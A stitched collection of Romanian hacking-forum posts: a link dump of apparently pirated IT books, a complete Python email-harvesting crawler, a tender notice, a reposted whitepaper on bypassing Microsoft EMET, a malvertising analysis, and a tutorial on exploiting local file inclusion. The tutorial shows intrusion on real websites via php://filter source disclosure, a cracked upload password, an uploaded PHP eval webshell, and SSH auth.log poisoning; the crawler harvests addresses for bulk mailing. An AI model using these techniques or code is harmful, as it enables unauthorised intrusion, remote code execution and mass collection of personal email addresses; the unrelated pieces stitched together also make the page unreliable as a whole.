Leaderboard

Vad tot felul de threaduri, "cu ce sa incep", "cum sa incep", "ce sa invat". Ca sa nu va mai puneti astfel de probleme, va ofer link la Google Drive-ul meu cu 1500 de carti in format pdf, doar din aria IT. Zilele urmatoare maresc la spatiul la 100GB si mai pun inca 4.000 care le am in laptop. Daca aveti GDrive instalat in calculator, puteti sa le vedeti direct. Care aveti alte carti interesante si vreti sa le share-uiti, va ofer acces de uploader. Am facut 3 dosare sa fie mai usor de vazut. Sunt cateva carti care sunt duplicate. Cand am timp nu vor mai fi. Link dosar 1: https://drive.google.com/folderview?id=0BwxEgZ4rhTDZT19TOS1pWmtYUGc&usp=sharing Link dosar 2: https://drive.google.com/folderview?id=0BwxEgZ4rhTDZNnZYVERkem9FSXc&usp=sharing Link dosar 3: https://drive.google.com/folderview?id=0BwxEgZ4rhTDZb1ZTRDdmbjZPVlE&usp=sharing Din cauza bugului de la Google Drive care nu ma lasa sa vad decat 500 de fisiere intr-un dosar, le-am impartit in 3. EDIT: Pentru ca am primit un feedback placut, de la multi useri, o sa le urc pe celelalte cat mai curand si o sa ma ocup sa nu fie nici macar un duplicat si o sa impart folderul cat mai sugestiv, pe capitole. Cei care au acasa o arhiva de cari, cat de mica ar fi ea si nu apare printre titlurile mele, rog sa-mi dea un PM. De asemenea, sunt deschis pentru orice fel de requesturi.

Ca sa functioneze, ii trebuie un fisier cu domenii, cu sau fara prefixul http:// la inceput. Usage: python emailscrapper.py Threads File Exemplu: python emalscrapper.py 50 domenii.txt Mailurile se salveaza in emails.txt UPDATE 1.3: - izolare completa la proceselor - renuntat la threading, acum functioneaza cu multiprocese total paralele - preluare rezultate mai corect - 2-3x mai rapid fata de precedenta versiune Versiune minima pentru functionare este Python 2.6 Pentru variante customizate, aveti jabberul meu in cod. """ RST eMail Crawler Version: 1.3 Author: Elohim Contact Jabber: viktor@rows.io """ import urllib2 import re import sys import cookielib from threading import Timer from multiprocessing import Process, Queue class GetResults(Process): def __init__(self, rezqueue): Process.__init__(self) self.rezqueue = rezqueue def run(self): while True: email = self.rezqueue.get() if email is None: return False with open("emails.txt","a") as EmailFile: EmailFile.write(email.rstrip()+"\n") print email class Crawler(Process): def __init__(self, queue, rezqueue): Process.__init__(self) self.queue = queue self.rezqueue = rezqueue def run(self): while True: site = self.queue.get() if site is None: return False self.crawl(site) def crawl(self,site): try: WatchIt = Timer(15.0, self.WatchDog) WatchIt.start() cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [('Accept:','*'),("User-Agent", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0")] opener.addheaders = [('Content-Type', 'text/html; charset=utf-8'),("Accept-Encoding", "")] resp = opener.open(site,timeout=10) WatchIt.cancel() self.getem(resp.read()) except Exception, e: #print e f = 1 def getem(self,resp): try: emails = re.findall(r"[A-Za-z0-9%&*+?^_`{|}~-]+(?:\.[A-Za-z0-9!#$%&*+?^_`{|}~-]+)*@(?:[A-Za-z0-9](?:[a-z0-9-]*[A-Za-z0-9])?\.)+(?:[A-Za-z]{2}|com|org|net|edu|gov|mil|biz|info|mobi|name|aer o|asia|jobs|museum)\b", str(resp)) CleanEmails = set(emails) for em in CleanEmails: self.rezqueue.put(em.lower()) except Exception, e: return False def WatchDog(self): return False if __name__ == "__main__": if len(sys.argv) < 3: print "Usage:",sys.argv[0],"Threads DomainFile.txt" print "\tExample: ",sys.argv[0],"30 domains.txt" sys.exit() queue = Queue(maxsize=30000) rezqueue = Queue() ThreadNumber = int(sys.argv[1]) ThreadList = [] for i in range(ThreadNumber): t = Crawler(queue,rezqueue) t.daemon = True t.start() ThreadList.append(t) GR = GetResults(rezqueue) GR.daemon = True GR.start() with open(sys.argv[2],"rU") as urls: for url in urls: try: if url.startswith('http://'): queue.put(url.rstrip()) else: url = 'http://'+url.rstrip() queue.put(url.rstrip()) except Exception, e: print e for i in range(ThreadNumber): queue.put(None) for Worker in ThreadList: Worker.join() print "All done!" rezqueue.put(None) GR.join()

- Nume proiect: Implementarea unui sistem de aparare cibernetica la nivelul Ministerului Administratiei si Internelor prin Directia Generala de Informatii si Protectie Interna (CERT-INT) - Cod SMIS 32566 - Valoare totala: 17.881.980 LEI - Tipul procedurii: Licitatie deschisa - Criterii de atribuire: Pretul cel mai scazut - Castigator: Kapsch SRL -- Persoana de contact: AndraCHESARU; ofi?er de pres?. tel:021. 313.69.90 fax:021. 311.13.53; mail:cabinet@dgipi.ro web:www.dgipi.mai.gov.ro

Hello RST ... First : This Article written by : Jared DeMott | Security Researcher jared.demott@bromium.com you can download This article as pdf from here :--v http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf Src : Bypassing EMET 4.1 | Bromium Labs second : This very important ... your focus pls :-/ Lets Start : 2.0.0 Executive Summary The goal of this study is to gauge how difficult it is to bypass the protections offered by EMET, a popular Microsoft zero- day prevention capability. We initially focused on just the ROP protections, but later expanded the study to include a real world example. We were able to bypass EMET’s protections in example code and with a real world browser exploit. The primary novel elements in our research are: -- 1. Deep study regarding the ROP protections, using example applications to show how to bypass each of the five ROP checks in a generic manner. -- 2. Detailed real world example showing how to defeat all relevant protections. Including a technique to bypass the stack pivot protection, shellcode complete with an EAF bypass, and more. The bypasses leverage generic limitations, and are not easily repaired. The impact of this study shows that technologies that operate on the same plane of execution as potentially malicious code, offer little lasting protection. This is true of EMET and other similar userland protections. 3.0.0 Results Summary We found that each protection either did not apply in our examples or could be bypassed. Table 1 shows a brief summary. 4.0.0 Methodology and Techniques Used We studied EMET 4.0 and 4.1. We use a typical modern computer, and focus on 32 bit userland processes running on 64 bit Windows 7. None of the ROP protections are implemented for 64 bit processes (Dabbadoo, 2013) and thus a study there was not very interesting. The only kernel specific mitigation is the NullPage mitigation designed to make NULL pointer exploits difficult, which also wasn’t as interesting as userland process mitigation bypasses. Also, we focus on bypassing EMET defenses rather than on tricks to disable EMET (which would likely be just as effective). 5.0.0 Introduction As part of the ongoing effort at Microsoft to making computing more trustworthy, they have released a protection for Windows known as EMET, or Enhanced Mitigation Experience Toolkit. Microsoft researchers Neil Sikka (Sikka, 2012), Elias Bachaalany (Bachaalany, 2013), and others have given excellent technical talks on EMET. EMET is a product which can be installed in Windows with the intent of adding further mitigations, to stop common exploit patterns and techniques. Many of the ROP 1 protections in EMET came from the second place winner (Fratric,2012) BlueHat prize contest in 2012 2 . Since I was one of the winners (3 rd place), who also submitted a ROP protection, I figured I would circle around and see how robust the mitigations that made it into EMET are. 6.0.0 ROP Background ROP, or return-oriented programming, is a modern exploitation technique. ROP is an evolution of the ret2lib 3 code reuse idea: bouncing through code that already exists when new code cannot yet be injected and executed because of memory protections. The typical attacker approach is to minimize the ROP portion (because it is painful to write), and use a generic payload (called a shellcode) after the ROP portion. Thus, the ROP portion traditionally just changes executable permission on the current page to execute, or allocates a new executable page. But first, a pivot is often required. That is, the stack pointer needs to be adjusted such that it points into attacker controlled data, because each gadget (small/useful chunk of existing code) is just an address which is returned into, and typically ends with a return instruction, to execute the next gadget. 6.1.0 EMET ROP Protections EMET offers 5 ROP protections, which can be enabled and disabled for each protected application. Figure 1 shows each of the protections. All of them are enabled for our sample program called vuln_prog.exe. Each of the protections is described in brief below. Figure 1: The 5 EMET ROP Protections 6.1.1 LoadLibrary Loading a library is a common need in attacker shellcode; to pull in various API functionality. Thus, LoadLibrary is hooked (detoured as it’s called) and extra sanity checking is done to ensure its use is “valid”. For example, UNC paths are disallowed. How robust is this checking? That is the question we wonder about each of these protections. Also note: there are about 50 functions which are considered “critical”, e.g. hooked. They are jump hooked. Which means it may be possible to jump around the hooks as a possible bypass 4 . This technique is well known and may be DLL specific so we did not investigate that approach. 6.1.2 MemProt The MemProt rule checks memory protection functions like VirtualProtect to make sure they are not trying to mark stack memory as executable for shellcode to be run in. 6.1.3 Caller Before a critical API is allowed to run, EMET disassembles backwards from the return address (and upwards) and verifies that the target is CALLed and not RETurned or JMPed into. 6.1.4 SimExecFlow After a critical API completes, this protection simulates execution forward to ensure the code following it looks normal (and not ROP). The first return address is given on the stack. The subsequent return addresses are deduced by simulating instructions that modify the stack/frame pointer. Each return address must be preceded by a call instruction to appear normal. For both the Caller and SimExecFlow check, legitimate code could break the rule at times, making me wonder about the robustness of this check. 6.1.5 StackPivot Upon entering a critical function, EMET checks to ensure that the stack pointer is within the threads upper and lower specified stack limit. This, guards against pivoting the stack pointer to, say, heap memory controlled by the attacker. 7.0.0 Bypassing EMET ROP Protections Using Sample Programs We discuss the work toward bypassing each of the 5 protections below. 7.1.0 Experiment Setup EMET 4.x was first installed on our test computer. To test the 5 ROP protections, we created a simple program (vuln_prog.exe) which has a trivial stack 5 buffer overflow vulnerability via a file read. That program is protected by EMET as shown in Figure 1. For the vulnerability, we assume that the attacker has: --1. control over the input to trigger the bug --2. an additional memory leak/information disclosure bug 6 --3. and can thus find gadgets in memory in the discovered and sizable DLL. To simulate those conditions we cheat a bit: 1. We use msvcr71.dll as our discovered DLL, since it was so often abused in the past 7 . 2. We therefore don’t have to spend much time fiddling with a real memory leak bug, and searching for gadgets (since that is not the focus of this study). In some cases we even disable ASLR on the main binary and add gadgets to the .exe if proper gadgets aren’t immediately obvious in msvcr71.dll. The assumption is common gadgets can always be found, we just didn’t want to spend time on that. Thus, any part of this experiment could be changed (the type of vulnerability, the discovered DLLs, etc.) to affect negatively or positively the findings. 7.2.0 Caller One of the most straight forward checks is to see if a detoured function is called, or RETed into (the latter being bad). Figure 3 shows the event log for the ROP chain shown in Figure 2. Figure 2: Typical VirtualAlloc ROP chain Figure 3: EMET Blocking the VA ROP code EMET successfully blocked a typical VirtualProtect/VirtualAlloc based ROP chain. The log says “CallerCheck Failed” and some details are given. While there may exist multiple ways to bypass this check, the simplest are probably: ? Use an API other than VirtualProtect/VirtualAlloc, where such APIs exist; E.g. use a non-protected function ? Or find existing code that does a valid ‘call’ to one of those two APIs We choose the first, and called the MSDN Beep function 8 that is within msvcr71.dll. That worked, but seemed too trivial to be an impressive bypass, since Beep doesn’t do anything useful. So we also choose the latter approach. Figure 4 shows a call to VirtualAlloc found in msvcr71.dll. Figure 5 shows the new ROP chain. Figure 6 shows that we are now able to bypass this EMET check and run shellcode. The !vprot command in Figure 6 shows that we did in fact allocate a page with read-write-execute permissions. Note: the shellcode is simply three increment operations and a software breakpoint (int 3). Figure 4: VirtualAlloc Call in msvcr71.dll Figure 5: New VirtualAlloc ROP Chain Figure 6: CallerCheck Bypassed Interestingly, this simple technique, bypasses all of the other ROP checks as well. We know this because no other EMET alerts are triggered. If you are not doing certain behaviors as part of your attack, certain checks will never be triggered. But, this example isn’t real enough, because it lacks a meaningful payload. So, we exchanged the simple NOP/breakpoint shellcode we had, to a stock Metasploit 9 reverse shell payload. Let’s explore this more in the next section. 7.3.0 LoadLibrary Figure 7 shows that EMET will catch a stock Metasploit payload. And it happens at the LoadLibrary (LL), but it’s because of the caller check. The LL rule just checks to see if a UNC path is used to load a remote DLL, which we do not. As before we can call to LL, rather than jump for a bypass here. If we do that, Figure 8 is we see. Figure 7: Stock Metasploit Payload Figure 8 shows that EMET caught our Metasploit payload, but only after the attack succeeded. A non-ROP rule called EAF filtering gets triggered 10 . We’ll explain the EAF check in detail in the real world section of this paper. Figure 8: EMET Blocks a Connect Back Metasploit Payload after the shell is closed Rather than use a typical Metasploit payload (which EMET may catch), we created our own shellcode (Figure 9) which performs similar actions. For example, LoadLibrary and GetProcAddress are used, as they would be in real payloads (except we CALL rather than JMP as Metasploit does). Figure 9: Custom LoadLibrary Shellcode Figure 10 shows the new ROP chain, which uses the custom shellcode we copy into the VirtualAlloc’ed page. The shellcode works to bypass EMETs ROP protections; shown in Figure 11. Figure 10: ROP Chain for our Custom LoadLibrary payload Figure 11: Custom LoadLibrary Payload Bypasses EMET Checks The bypass works because we do not directly RET/JMP into detoured functions. Rather we find locations in code that call the functions of interest and instead RET to those locations. 7.4.0 MemProt The MemProt rule is triggered when VirtualProtect is called, and checks to see if we are remarking stack pages. Since we do not use VirtualProtect to mark stack pages with this shellcode, this rule is inherently bypassed. 7.5.0 SimExecFlow SimExecFlow is trigger after a critical call. It is similar to the caller check triggered before a call. SimExecFlow attempts to verify that the flow of execution that is about to happen is legitimate code; not ROP code. It does this primarily by checked to see if legitimate calls were used rather than RETs to locations. Since we return to code that legitimately calls the critical function (VirtualAlloc), this is rule is also bypassed. 7.6.0 StackPivot We do a pivot in our attack, but since (in our first example) the attacker controlled data is on the stack, this check passes without issues. To make things more interesting, we constructed another program where our input is on the heap. We changed the bug to be a function pointer overwrite on the heap. In light of the current threat landscape (better OS mitigations and less simple bugs), this type of attack is more common than stack overflows. To bypass the StackPivot check, we first use a relocation copy loop to move our ROP chain from the heap to the stack. In our code it is all one assembly code, but in reality it would be a series of ROP gadgets chained together to achieve a similar result. Next we call VirtualAlloc. Then we copy our custom shellcode to the RWX address from VirtualAlloc. Each of the copy operations are shown in Figure 12. The payload we ultimately run is the same as in Figure 9. The pivot copy loop and payload to VA copy are shown in Figure 13. One critical question would be: can such gadgets really be found? We assume that they could be, based on a number of papers that aim to show the Turing-completeness of ROP (Homescu, 2012) techniques. In the next section, we experiment with a real world problem to investigate this assertion. 7.7.0 Example Problem Summary -- 1. We did not directly RET into critical APIs, and thus bypassed the Caller and SimExecFlow rules. -- 2. We avoided UNC paths to bypass the LoadLibrary rule. -- 3. We did not attempt to use VirtualProtect on stack pages, thus bypassing the MemProt rule. -- 4. We avoided the StackPivot rule by (copying and) running our core ROP chain on the stack, and then jumping to wherever our shellcode was. Figure 12: Heap --> Stack --> VirtualAlloc’ed Memory Figure 13: Pivot Copy and Shellcode Copy 8.0.0 Real World Example CVE-2012-4969 is a use-after-free (UAF) IE bug reported on September, 14 2012 by Eric Romang. There is a public exploit for it in Metasploit. Like all Metasploit modules, the exploit is not sophisticated because it depends on the presence of a non-ASLR module. EMET will block the Metasploit exploit, because by default EMET forces all modules to use ASLR. Also, as shown in the prior sections, EMET will block standard Metasploit payloads. 8.1.0 A Better Version We have a better exploit for this same bug. It comes from Peter Vreugdenhil of Exodus Intelligence. His exploit is more sophisticated in the sense that it dynamically finds the base address of ntdll.dll 11 , builds a ROP chain based on that address, and runs a custom WinExec shellcode 12 . After some minor tweaks to the ROP chain, the exploit worked perfectly in our 64bit Windows 7 VM against 32bit IE 9, without EMET installed. 8.2.0 EMET Blocks the Exploit We tried the exploit again, but now with EMET 4.1 installed. EMET blocks the exploit via the stack pivot check 13 . That’s because this exploit attempts to use VirtualProtect to mark the heap as RWX while ESP (because of the stack pivot) is pointing to the heap, rather than the legitimate stack. 8.3.0 Upgrading to Bypass EMET We were curious to see if the exploit could be enhanced to bypass EMET 4.1, using the research we discussed earlier in the paper. Primarily of interest, we wanted to see if we could develop a generic EMET bypass technique for the stack pivot check, because this protection has not been publically bypassed to our knowledge 14 . Other researches (see related works section) have talked about ideas or techniques to bypass some of the other protections. Our stack pivot bypass idea is simple (and similar in spirit to the example problem previously discussed): 1. Pivot the stack pointer to the heap as normal 2. Use a first stage ROP chain to “pop-copy” the second stage ROP chain to the stack 3. Unpivot back to the stack and execute the second stage, which uses VirtualProtect to mark the heap as executable 4. For the final stage, jump off the stack, back to the heap and execute a EMET friendly exploit payload The pop copy we used is based on ntdll 15 and works as shown in Figure 14. Figure 14: Pop-Copy The pop-copy works by popping a DWORD from the input data, and copying it to the desired location (the stack in this case) via a dereferenced move. Then the destination pointer (the stack) is incremented (by 4 for a 32bit system). This particular pop-copy is not space efficient as it produces a total ROP chain that is six times the original size, but this did not matter in our particular example. Work could likely be done to find a more efficient pop-copy gadget. The second stage ROP chain that executes on the stack operates as shown in Figure 16. This ROP chain operates by marking the relevant heap page R/W/X (read, write, and executable) via a VirtualProtect like function. The Figure 16 chain works by setting up arguments for a call to an undocumented ntdll function, NtProtectVirtualMemory, which is a system call. We found that NtProtectVirtualMemory is only hooked when “deep hooks” are enabled. Since deep hooks are off by default, this is a wonderful discovery. Perhaps deep hooks will stay disable for some time as well, due to compatibility issues 16 . The unhooked version of NtProtectVirtualMemory for WOW64 17 IE is pictured in Figure 15. Finally, the second stage ROP chain jumps back to the start of shellcode that is on the executable heap page. Figure 15: Ntdll!NtProtectVirtualMemory Figure 16: Second Stage ROP Chain Each of the gadgets shown in Figure 16 is wrapped in the pop-copy gadget shown in Figure 14. Figure 17 shows the first two gadgets wrapped in a pop-copy. Appended to that final string is the actual shellcode to be executed. After the typical exploit development challenges, plus an interesting challenge described in the next paragraph, we succeeded in bypassing the EMET stack pivot check. The exploit payload is a variation of a typical WinExec shellcode, which simply starts up a calculator, as is the norm for such demonstration exploits. Figure 17: Wrapping ROP chain in pop-copy For our final trick, we do not just bypass the stack pivot, or merely all the ROP checks, but we bypass all of the EMET checks in our enhanced exploit. Once we had the stack pivot protection bypassed, EMET was blocking our exploit with the EAF (Exploit Address Filtering) check (as was happening in our earlier Metasploit payload example). So, we had to add stub code based on Poitr Bania’s 18 Windows XP EAF bypass idea. As far as we know, this bypass is also new as it relates to Windows 7 19 , because we had to modify Bania’s idea to get it working. Figure 18 shows the EAF bypass shellcode. The bypass works by calling NtSetContextThread to disable the current threads hardware breakpoints, which is how EMET detects that a shellcode is attempting to resolve functions via the export table. Figure 18: EAF Bypass For Win7 32bit on 64bit 8.4.0 Real World Summary We bypass or ignore all 12 EMET protections with this exploit. In particular, we were required to focus on bypassing: 1. The stack pivot protection. We avoided it by using a pop-copy to the stack, a second pivot to the stack to execute critical ROP code, and a final jump back to an EMET friendly payload. 2. The EAF filtering. We disabled this protection, by clearing the debug registers, which are key to the protection. 3. Finally, and surprisingly, we bypass the remaining checks by calling an unprotected version of VirtualProtect 20 . 9.0.0 Related Work We are not the first researchers to show that EMET could be bypassed. The following is a partial list of other researchers that have conducted EMET research: ? SkyLined showed how to bypass the export address filtering in EMET 2.0 21 . ? Shahriyar Jalayeri 22 bypassed EMET 3.5 by resolving the ZwProtectVirtualMemory system call via a shared memory pointer, to mark his shellcode R/W/X. Once his shellcode was running he disabled EMET as his primary bypass technique. He released an exploit for a CVE-2011-1260. ? Aaron Portnoy showed how to bypass EMET 4.0 during a Nordic Security Conference talk (Portnoy, 2013). ? 0xdabbad00 released a paper called EMET 4.1 Uncovered (Dabbadoo, 2013), in which he explains EMET, and discusses some hypothetical strengths and weaknesses of the EMET protections. 10.0.0 Conclusions Deciding whether a program is good or bad was essentially determined to be impossible by Alan Turing in 1936 – before the first computer was ever built 23 . Each EMET rule is a check for a certain behavior. If alternate behaviors can achieve the attacker objectives, bypasses are possible. In fact, the ROP protections from the second place BlueHat Prize winner that made it into EMET do not stop ROP at all. The notion of checking at critical points is akin to treating the symptoms of a cold, rather than curing the cold. Perhaps one of the other prize submissions would have better addressed the problem of code reuse. However, as was seen in our research, deploying EMET does mean attackers have to work a little bit harder; payloads need to be customized, and EMET bypass research needs to be conducted. Thus, EMET is good for the price (free), but it can 24 be bypassed by determined attackers. Microsoft freely admits that it is not a prefect protection, and comments from Microsoft speakers at conference talks admit that as well. The objective of EMET is not perfection, but to raise the cost of exploitation 25 . So the question really is not can EMET be bypassed. Rather, does EMET sufficiently raise the cost of exploitation? The answer to that is likely dependent upon the value of the data being protected. For organizations with data of significant value, we submit that EMET does not sufficiently stop customized exploits. 11.0.0 Disclosure and Thoughts on Repair This whitepaper was provided to Microsoft long before speaking about these weaknesses publicly, to provide Microsoft with opportunity to address short comings. In particularly we believe addressing the following weaknesses would help: 1. Hook NtProtectVirtualMemory by default 2. Create a new EAF protection scheme 26 3. Check more than one CALL deep to see if code was RETed into 4. Expand the ROP mitigations to cover 64 bit code But even with those fixes, many of the weaknesses are generic in nature and unlikely to be sufficiently addressed by userland protection technologies like EMET. E.g. EMET does not protect against kernel vulnerabilities, or help against non-exploit attacks such as Java sandbox escapes. Other similar technologies like Anti-Exploit 27 and Core Force 28 suffer from the same generic problem: mitigations that run on an even playing field with malicious code will/can be bypassed given sufficient attacker interest. To counter such attacks, we believe that an approach that does not rely on exploitation payload based vectors is needed. As demonstrated, exploit payloads continue to evolve 29 . 12.0.0 Bibliography Bachaalany, E. (2013). Inside EMET 4.0. Recon. Montreal: http://recon.cx/2013/slides/Recon2013-Elias%20Bachaalany- Inside%20EMET%204.pdf#! Dabbadoo. (2013). EMET 4.1 Uncovered. http://0xdabbad00.com/wp-content/uploads/2013/11/emet_4_1_uncovered.pdf. Fratric, I. (2012). Runtime Prevention of Return-Oriented Programming Attacks. BlueHat Prize Contest. https://ropguard.googlecode.com/svn/trunk/doc/ropguard.pdf. Homescu, e. a. (2012). Microgadgets: Size Does Matter In Turing-complete Return-oriented. WOOT. Bellevue: https://www.usenix.org/system/files/conference/woot12/woot12-final9.pdf. Portnoy, A. (2013). Bypassing all of the things. Nordic Security Conference ? The venue for all people interested in security ? Aaron Portnoy – Bypassing All of the Things. Sikka, N. (2012). Microsoft EMET Exploit Mitigation. NullCon Security Conference. Delhi: !------------------EOF----------------------- Regrads NO-MERCY

The Wild Wild Web: YouTube ads serving malware There’s never a dull moment in the security industry, just as we heard about the latest IE 0day; one of our field security engineers in the Americas stumbled upon a YouTube link that was hosting malware. The vulnerability is not in YouTube as such, but the ad-network seems to be the culprit in this case. We’re working with Google security team to get to the bottom of this, in the meantime some quick details about the infection below. Summary - Classic drive-by download attack, infects the user by exploiting client software vulnerabilities. - The ad network was discovered to be hosting the Styx exploit kit. This exploit kit was recently in the news for compromising at hasbro.com. Well, the attackers seem to have upped their target this time by somehow getting into YouTube ads. - The exploit leveraged in this was a Java exploit. - The Trojan appears to be a Banking Trojan belonging to the Caphaw family. - The outbound CnC went out to Europe in this infection, where the server is likely to be hosted. It uses a DGA (Domain Generation Algorithm) for CnC, we’re still digging into the various IP addresses leveraged. Details The Malware analysis graph from Bromium LAVA console looks like this: The malware was encountered while watching a YouTube video. Fortunately, we captured the forensic traces of the malware infection. We’ve shared all of this with Google security team, who’ve been very helpful and co-operative. We will update this section if we unravel any more interesting details of the origins of this attack. The source of the dropper is as shown below, it appears to be a typical Java drive by download. We noticed the malware tries to detect the version of Java installed and based on the version, it sends out different URLs to ensure that the exploit is compatible with the Java versions. This is a signature of the Styx Exploit kit. We’ve confirmed that the exploit used in this instance of the attack is CVE-2013-2460. The first stage dropper after the Java exploit, is tagged by few AV vendors as Win32/Caphaw. Caphaw is a widely used Banking Trojan and was analyzed by several people last year. Further, the malware then tries to connect to two different domains “smis.cc” and “aqu.su”. smis.cc was created just a month back. The current web reputation for “smis.cc” is known to be bad. Domain name: SMIS.CC Created On: 1/24/2014 9:53:23 AM Expires On: 1/24/2015 9:53:23 AM Last Updated On: 1/24/2014 9:53:23 AM Registrant: Zuzanna Zielinska Zuzanna Zielinska ul. Warynskiego Ludwika 81 Opole, Opole 45-047 PL 48.72763610 Fax: 48.72763610 This server hosts four more domains that includes “aqu.su” and “many.su“. The PE Compilation Timestamp seems to indicate that this malware has obviously been in the run for few months. The attack that we saw was overall a repackaged attack, nothing utterly complex and hence we’re baffled as to how it ended up into YouTube’s ads. Hopefully, we’ll all get to the bottom of this asap. Watering hole attacks are clearly getting popular by attackers. Recently, Yahoo mail users were attacked using similar vectors. Several high profile websites have become victims of such attacks recently. From the attackers point of view, this is the easiest way to cause maximum damage – max ROI. As always, we urge users to beef up your security controls for all online activity and stay safe! I would like to thank Robert Wagner who alerted us about this event and my other Bromium Labs colleagues for their inputs. [uPDATE 02/23/2014] Bromium Labs has been working with the Google security team to unravel the root cause. Google has confirmed that a rogue advertiser was behind this malvertisment. Google has taken this campaign off and is beefing up internal procedures to prevent such events from occurring again. Below is the transcript of how the malware got into the user’s machine. All of the forensic evidence was captured in LAVA, which helped the Google and Bromium teams in our analysis. Modulus operandi The attack that we unearthed with Google security team involved the following steps as seen by the victim: Step 1: User watches a YouTube video Step 2: User sees a thumbnail of another video (*.JPG) Step 3: User clicks on the thumbnail and watches the video. In the background the user gets redirected to a malicious ad served by Googleads (*.doubleclick.net) Step 4: Malware redirects the user to ‘foulpapers.com’ Step 5: Foulpapers.com iframes the aecua.nl Step 6: aecua.nl delivers the exploit (in our case it was Styx exploit kit) Details Steps 1-2 are normal and no abuse was observed. The hijack seems to happen in Step 3. After some digging into the forensic LAVA trace, we finally uncovered the culprit. The background redirect was because of a SWF (Flash) file that injects an IFRAME into the Internet Explorer DOM. \Users\br*****\appdata\local\microsoft\windows\Temporary Internet Files\Content.IE5\B1BHEG61\imgad[1].swf The flash file dropped in the advertisement was the culprit, if you decompile the flash you get this: After reverse engineering the SWF, we observe that the redirect to “foulpapers.com” is present there in the SWF file. Further, the attacker tries to fingerprint the browser and goes ahead if it is Internet Explorer in the IsOurUserAgent() function as shown below. The timestamp of this nicely corresponds to the LAVA graph where we see an outbound request to the IP address 38.96.232.90 which corresponds to ‘foulpapers.com’ and then eventually to the site hosting the exploit kit. Now, looking back, the delivery of this came from this doubleclick ad: So the offending advertisement clearly came from Googleads/Doubleclick via a Flash file. It is important to note that the user did not need to click on any ads on YouTube, the infection happens just by viewing the YouTube videos. However, after this step, the next steps were simple. Foulpapers.com injected IFRAMEs from the malicious website and the website infected the user (micro-VM in this case) The details of the ensuing infection are already covered in the first section of our blog. We don’t yet know the exact bypass which the attackers used to evade Google’s internal advertisement security checks. Google has informed us that they’re conducting a full investigation of this abuse and will take appropriate measures. What’s the impact? YouTube has been targeted many times before. Recently, our friends at Sophos Labs mentioned about a similar campaign uncovered in 2013. More details available here. It’s obvious that the attackers are still able to infiltrate against existing defenses used by YouTube security for ads. This clearly is a concerning trend. We all understand that YouTube is an incredibly popular website with over 1 billion users. So it is a big target. We don’t know the extent of the damage done by this malware campaign. Only Google can possibly estimate some accurate numbers of people impacted by this. From a user security standpoint, we recommend disabling ads using ad blockers in the interim and use robust isolation technologies such as micro-virtualization to prevent such unforeseen attacks. The Wild Wild Web: YouTube ads serving malware | Bromium Labs

Care doreste prin cip, il ajut eu, ii ofer schema pentru modelul respectiv si va pun in legatura cu un distribuitor de cip-uri.

In acest tutorial am sa va prezint doua metode de a exploata LFI. Acestea sunt: 1) LFI combinat cu arbitrary file upload 2) LFI cu /var/log/auth.log Dupa ce am dat un search pe google aproximativ 2 ore am gasit 2 LFI-uri care au corespuns criteriilor mele .Pozele sunt cenzurate dar poate am mai scapat ceva indicii;) 1) LFI + arbitrary file upload Aceasta metetoda are la baza un concept simplu.Pe site sa zicem ca exista un LFI si noi nu avem acces la loguri iar allow_http este off ,dar totusi putem include fisiere de pe site.Aa zicem ca pe acelasi site se afla un script de upload poze care nu permite uploadarea fisierelor php ci doar a celor cu extensie .gif sau .jpg .Ce putem face? Pai uploadam un fisier cu extensie permisa dar continutul sa fie un shell:D.Tin sa mentionez ca aceasta metoda nu functioneaza daca doar se pot citi fisiere (Source code Discloure) ci doar cele care au in spate functia include( sau functia require( require_once( etc.. Am pregatit in continuare un exemplu : Avem urmatorul LFI: http://s28.postimg.org/n7070anek/image.jpg Am reusit cu succes sa includem fisierul /etc/passwd. Dupa ce am cercetat putin site-ul am gasit un formular unde administratorul poat uploada fisiere PDF dar nu pot fi urcate fisiere cu alta extesie. Dar se pare ca nu putem uploada fisiere daca nu introducem o parola prestabilita:P.Ce am facut? Pai m-am folosit de metoda php://filter pentru a citi sursa pagini uploadform.php. php://filter/convert.base64-encode/resource=fisier.php Dupa cum stiti aceasta metoda presupune preluarea continutului fisier.php encodarea lui in base64 si afisarea lui in pagina.Daca cautati prin posturile mele gasiti si un tutorial pe aceasta tema. Dupa ce am executat injectia am obtinut continutul in base64 http://s28.postimg.org/n7070anek/image.jpg Iar dupa acea l-am decodat. Dar se pare ca parola pe care o vrem sa o obtinem nu se afla in acest fisier ci in upload.php:)) Ok am executat aceasi injectie pentru a citi continutul fisierului upload.php . Si bingo am obtinut parola care este encodata in md5.Dupa ca am dat un search pe google am aflat ca aceast hash ascunde in spate parola upload1 . Am creat un fisier pdf.pdf in care am pus un cod php. <?php eval($_GET['a']); ?> Acest cod ne v-a crea un Remote Code Execution cu care putem face practic orice. Iar apoi l-am uploadat cu parola respectiva. Dupa care am aflat unde s-a urcat pdf-ul http://s2.postimg.org/cpn3ty8a0/image.jpg Acuma nu imi mai ramane nimic de facut decat sa includ acel fisier si sa vad rezultatul. Rezultatul a fost dezamagitor pentru ca administratorul a dezactivat functia phpinfo(); Dar totusi Remote Code Execution am reusit sa il injectez:D. De ce s-a executat codul php? Pentru ca include si pentru ca php. Pai in documentatia PHP la functia include nu se zice nicaieri ca este impusa o extesie anume pe care avem voie sa o includem poate fi si .php poate fi .pdf si poate fi .jpg de ce nu ,atata timp cat acolo se afla un cod php functia il v-a executa. 2) LFI cu /var/log/auth.log Aceasta metoda se foloseste de log poisoning.Pentru cei care nu stiu var log auth.log este un fisier cu loguri.Dar in acest fisier cu loguri nu se mai pastreaza loguri despre traficul HTTP,ci traficul si tentativele de logare de pe protocolul SSH.Mai exact daca noi ne vom conecta prin putty la un site anume si ne vom loga cu un username si parola gresita,in /var/log/auth.log v-a aparea ca userul cutare cu ip-ul cutare a incercat sa se logheze pe ssh. Am pregatit si un mic exemplu: Avem urmatorul LFI: http://s28.postimg.org/dmm2twlbw/image.jpg Ok acuma vom verifica existenta ecestui fisier /var/log/auth.log Principiul este simplu daca noi am putut include fisierul var/log/auth.log inseamna ca daca ne am loga pe ssh si am incerca un user gen <?php echo 1; ?> in acel fisier se v-a inregistra tentativa noastra de logare si daca vom inrca sa includem din nou fisierul /var/log/auth.log acel cod php v-a fi executat. Dupa ce m-am asigurat ca portul ssh este deschis am deschis putty si m-am logat cu username-ul :<?php eval($_GET['a']); ?> dupa cum se observa mai jos: http://s30.postimg.org/8faonucy9/image.png 